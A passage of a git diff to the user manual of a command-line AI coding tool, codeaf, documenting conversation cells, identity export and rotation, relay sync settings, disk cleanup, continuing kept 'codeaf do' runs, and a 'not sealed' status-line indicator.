rewind it, and when CODEAF_CELLS=0 stops them + +Cells are on by default, so a paired computer moves chats with no setting. `codeaf cell` is hidden from the +help text, and `CODEAF_CELLS=0` turns cells off and stops it. With cells on, **`codeaf cell log []`** lists a cell's +turns, newest first, one line each (turn, parent, time, trigger, tools, receipt; a setup turn says `Setup` and its calls are marked `[external]`), and +**`codeaf cell rewind []`** puts the cell's files and transcript back to that +turn. A rewind adds a new turn on top of the newest one and deletes nothing, so it can be +rewound too. It refuses while a tool call began and never finished. With no cell named, +both use the cell the current folder is in. + +## Your identity — codeaf identity show, export and import, and when CODEAF_CELLS=0 stops them + +Your identity is the one root secret codeaf keeps for you on a machine: a signing key, a +secret for deduplicating file content, and the key your saved secrets are sealed under. It +lives in `identity.json` in the codeaf home, readable by you only. There is no account. +These verbs are hidden from the help text and refuse to run only when `CODEAF_CELLS=0` turns cells off. + +**`codeaf identity show`** prints your public id, a short fingerprint you can compare by +eye between two machines, the cell key id, and this machine's device id. It makes the identity the first time it runs. + +**`codeaf identity export []`** asks for a passphrase (typed twice at a prompt, or one line +piped in) and writes your identity wrapped under it, to the file or to the +screen. The blob is safe to copy; without the passphrase it opens to nothing. Keep the +passphrase: losing it and every machine loses the identity. + +**`codeaf identity import [--replace] `** asks for the passphrase and makes that +identity this machine's. Afterwards `show` prints the same id and cell key id on both +machines. It refuses to overwrite a different identity already here unless you pass +`--replace`, and after a replace the secrets sealed under the old identity can no longer +be read. A wrong passphrase and a damaged blob get the same refusal. + +**`codeaf identity rotate [--grace 7d] [--yes] [--abandon]`** replaces your identity on every +computer you keep: a new root, every chat and your saved keys sealed again under it, and the +old identity deleted by the relay after the grace period. It is how a lost computer is locked +out for good. It asks first and says what it costs; `--abandon` stops a rotation that has not +switched yet. Read *Locking out a lost computer for good*. + +Each machine also has its own device key, made the first time and never exported. Your +identity signs a small certificate for it, so two machines share one id but keep separate +device ids, and one machine can be told apart from another. + +A vault made before identities existed keeps working: its old key becomes the identity's +key the first time the identity is made on that machine. + +## List your chats on every machine — codeaf cell list --all, and what its lines mean + +**`codeaf cell list --all`** prints every chat you have on any of your machines, one line +each: id, title, device, where it runs (`running on `, ` offline`, +` turns from : discard`, or `-` for one held here or let go), and how +long ago its last saved turn was. It needs no terminal UI, so it works over ssh. Without +`--all` it prints the usage line. With sync off (`CODEAF_SYNC_URL=off`, or no relay to sync through) it prints +`sync is off: set CODEAF_SYNC_URL to your relay's address` and lists nothing. With a relay +set but no identity on this machine it prints +`this machine has no identity yet: codeaf identity import` and lists nothing, and when the +other machines cannot be reached it starts with `other machines unreachable`. + +## Sync your chats between machines — CODEAF_SYNC_URL and CODEAF_SYNC_INTERVAL_MS + +Two settings, both read from the environment, point this machine at a relay so your chats +can follow you from one computer to another. Neither is a row in `/settings`. With sync off, +codeaf behaves exactly as it does without it. + +**`CODEAF_SYNC_URL`** is the relay's address, like `http://host:8787`, or the word `off`. +Plain `http` is for trying it out inside an ssh tunnel; later the relay needs TLS. Unset, it +is the relay a pairing saved on this computer, and with none saved it is codeaf's hosted +relay when this build has one (see "Where your chats are stored" in use-this-on-another-computer); a build with no +hosted relay keeps sync off until you name one. `off` turns sync off. Set to something that is not a web address, it stops with +`CODEAF_SYNC_URL is not a web address like http://host:8787`. Set on a machine with no +identity it stops with `this machine has no identity yet: codeaf identity import`; it never +makes an identity for you, because a fresh one would be an identity none of your other +machines know. + +**`CODEAF_SYNC_INTERVAL_MS`** is how often unsaved turns are sent to the relay, in +milliseconds. The default is `5000`. A longer interval means fewer requests and more turns +that only this machine has if it goes to sleep. It must be a positive number. + +Everything sent is sealed under your identity first; the relay holds no names, no titles and +no file content it can read. Requests are signed by this machine's own device key, so the +relay can tell your machines apart. `codeaf cell list --all` and the sessions panel on home +show your chats on the other machines once both machines share an identity and this setting. + +## When another machine continues your chat — the window that only shows it, the turns kept as a branch, and "your computer's clock is off" + +With sync on, the chat you are typing in sends each saved turn to your relay, and holds the chat +for this machine while it is open. Closing the chat sends what is left and lets go of it, so your +other machine can pick it up at once. If this machine sleeps or loses its connection, the hold runs +out after about ninety seconds and the chat's row on your other machines then says ` offline`. +You do not have to wait for that: press enter on a chat that says `running on ` on another +machine and continue it there, and it is taken at once (see "Continue a chat here that another +machine left" in home). + +When another machine does, this window says ` continued this chat; this window now only shows it`, +with the name of the machine that took over (or the first digits of its id when it has no name). From then on +this window only shows the conversation: a tool call the model tries here answers with that same line and does +not run, so the two machines never both change the chat. Nothing on the other machine is overwritten. + +Turns you saved here that had not reached the relay yet are not lost. They are kept as a separate chat +that starts from the last turn both machines share, and `codeaf cell list --all` shows it as +` turns from : discard`. Open this chat again and it carries on as that separate chat. + +**`codeaf cell discard []`** sets such a branch aside: it is archived, not deleted, and it leaves +every machine's list. It runs on the machine that holds the chat and says `discarded `; on any other +machine it refuses, naming the chat whose hold is missing. (The branch row on home discards from any of your +machines.) **There is no `codeaf cell merge` in this version:** folding a branch back into its chat is not +offered anywhere, so a branch row says `discard` alone. + +If this computer's clock is more than five minutes off, sync shows `this computer's clock is off by more than 5 minutes` +once and tries again on the next round; fix the clock and it carries on. With sync off none of +this exists and the chat behaves as it always did. + +## What syncing a conversation cost — how much data it uploaded, codeaf cell report, and sending the numbers only if you choose + +Each time a conversation is synced to another machine, codeaf adds one line of counts to a file on this +machine, `v3/sync/stats/.jsonl` in the codeaf home: how many turns, frames and objects that flush +carried, how many bytes went up and came down, and how many put, get and has requests it made. Requests that +no flush carries are counted too, in a line with a dash for its turn: what it cost to fetch a conversation +when you continue it here, and what a publish that failed had already sent. Sending your secrets along with +a conversation is counted apart, in `v3/sync/stats/vault.jsonl`, because it serves every conversation. A line holds +counts only: no time, no file names, no titles and no content. The file never leaves the machine on its own. + +**`codeaf cell report []`** (cells are on by default) prints one row per flush and a total row for the +cell, or for the cell the current folder is in, then a `vault` row for what carrying your secrets cost on this +machine. The vault row is never added into the cell's total. Every request this machine made to the relay is +in exactly one row, so the rows of all conversations plus the vault add up to what the relay counted for +this machine. A cell that has never been synced has no rows, and +with no vault row either the report prints nothing at all rather than a table of zeros. + +**`codeaf cell report --export `** also writes those same lines to the file you name, and says so: +"counts only: bytes, objects and requests per turn; no content, no paths". Nothing is exported unless you +type `--export`, so a report on its own writes no file and sends nothing. + +## Free disk from old conversations — codeaf cell gc and the cell disk budget + +**`codeaf cell gc [--dry-run]`** (cells are on by default) frees disk from finished +conversations. A conversation that codeaf keeps its own working folder for has files that +can always be written back from what codeaf sealed. `gc` removes those working files of +finished conversations, least recently opened first, until the cells fit the disk budget: +the `cell disk budget` row in settings, or `CODEAF_CELL_BUDGET_GB` for one launch, in +gigabytes (a fraction such as 0.5 works), 20 when unset, 0 for no limit. `codeaf doctor` +shows a `cells` row with what they hold against that budget. Only a conversation nobody is using and that is +fully sealed is touched. One that is open in any window, one opened in the last ten +minutes, and one with a call still in flight or not yet sealed are passed over, and `gc` +says why beside each. Your own project folders are never removed: a conversation +working in a folder of yours is passed over with "workspace is yours", however much disk +you are short of. What stays is the conversation itself (its transcript and history), +so it still lists and opens, and opening one writes its files back, byte for byte. A start +also looks at the budget, at most once an hour, using sizes it already knows. `--dry-run` +removes nothing and prints what would go: + +``` +cells hold 24576.0 MiB, budget 20480.0 MiB + 01M3NZ9GCNB38JGMWYVG7V6WWC 6144.0 MiB would evict +``` + ## Connect from the terminal without opening the chat — codeaf connect and codeaf disconnect `codeaf connect` lists every model service this profile knows, whether it is connected, @@ -599,7 +760,7 @@ This prints one piece of work's whole record: every turn, what it said, every to called with its arguments, what came back, and how it ended. ``` -codeaf why [--db path] +codeaf why [--db path] ``` Each entry is a headline with its body indented four spaces under it: @@ -657,16 +818,40 @@ when an existing resident did the work and this invocation cannot establish its `why` reads a store, and by default that store is `~/.codeaf/graph.db`. A headless `codeaf do` run does **not** work there: it uses a separate store of its own, kept only when the run failed or you asked for it with `--keep`, and the last line on the error stream -says where: +says where, and the line above it says how to carry the run on: ``` +continue it with: codeaf do --continue 3f81c2 record kept at ~/.codeaf/runs/codeaf-do-3f81c2 ``` +`codeaf do --continue ` carries a kept run on: the id is the part of the folder name after +`codeaf-do-`, an unambiguous start of it is enough, and the folder's own path works too. Words +after it are this round's finding (`codeaf do --continue 3f81c2 "also add a test"`). The new run +is handed the original assignment unchanged, how the last run ended and what its plan reached, +and it works in `--dir` (the current directory unless you say otherwise), where the last run's +edits already are. It is a new run with its own record and its own id, and continuing a +continuation still names the first request once. Only a kept record can be continued: a run that +finished cleanly keeps none unless you passed `--keep`. An id nothing matches, or matches twice, +is refused in words. Only the run engine keeps this record, so `--continue` is refused when +`CODEAF_TASK_BELT` selects the older engine. + +With cells on, which is the default, `codeaf do` runs inside a cell, the same kind of folder a chat is, and +the tool calls the run's workers make are sealed as turns, one turn for each set of calls the +model asked for together, taken after the calls' results are written down, and the end of +a worker's turn is sealed after its answer: `codeaf cell log` lists the turns, +and the kept record holds a `cell` file naming the cell. `codeaf do --continue ` then goes +on in that same cell from its last sealed turn: its files stand as that turn left them, and the +new run is told how many turns were sealed. A call that began and never finished (the run was +killed in the middle of it) is listed in the new run's brief and is never run again, so the new +run looks at what it left before relying on it. A run's cell is host-bound, so every call it +seals counts as external. A record from a run made without the flag has no cell and continues +from the record alone, as before. With the flag off nothing about `do` changes. + That directory holds a `graph.db`, and that is what to point the reader at: ``` -codeaf why --db ~/.codeaf/runs/codeaf-do-3f81c2/graph.db +codeaf why --db ~/.codeaf/runs/codeaf-do-3f81c2/graph.db codeaf why self --db ~/.codeaf/runs/codeaf-do-3f81c2/graph.db ``` diff --git a/internal/manual/chat/screen.md b/internal/manual/chat/screen.md index 7cdcf04ca1..2b5d82d524 100644 --- a/internal/manual/chat/screen.md +++ b/internal/manual/chat/screen.md @@ -1145,6 +1145,23 @@ redial the existing sentence — `reconnecting to devbox — trying for up to 5 takes the segment. `/status` spells the healthy fact out as `the round trip to devbox is about 3ms` under `connection`. +## Why does the status line say not sealed — calls that rewind cannot reach + +While a conversation's calls are being sealed and the last seal failed, the status line +carries `✗ not sealed` beside the state word. It is drawn for as long as it is true and it +goes the moment a seal holds; a conversation whose calls are sealing normally, or whose +folder is not sealed at all, draws nothing. Each conversation shows its own: another chat's failure never appears on this one. It shows on every launch, including the ordinary one where the conversation runs in a separate engine process, because the engine states the fact to the screen. A failed seal never fails the call or stops +the conversation, so this segment is the only sign that rewind cannot reach what came +after the failure. + +Three changes are also said once in the conversation: sealing starting to fail, with the +cause; its cause changing while it is still failing; and sealing working again. The same +failure repeating says nothing more, because the segment already does. The calls made +while sealing was down are not lost: they ride the next seal that holds, and `codeaf cell +log` lists them as `unsealed call(s) since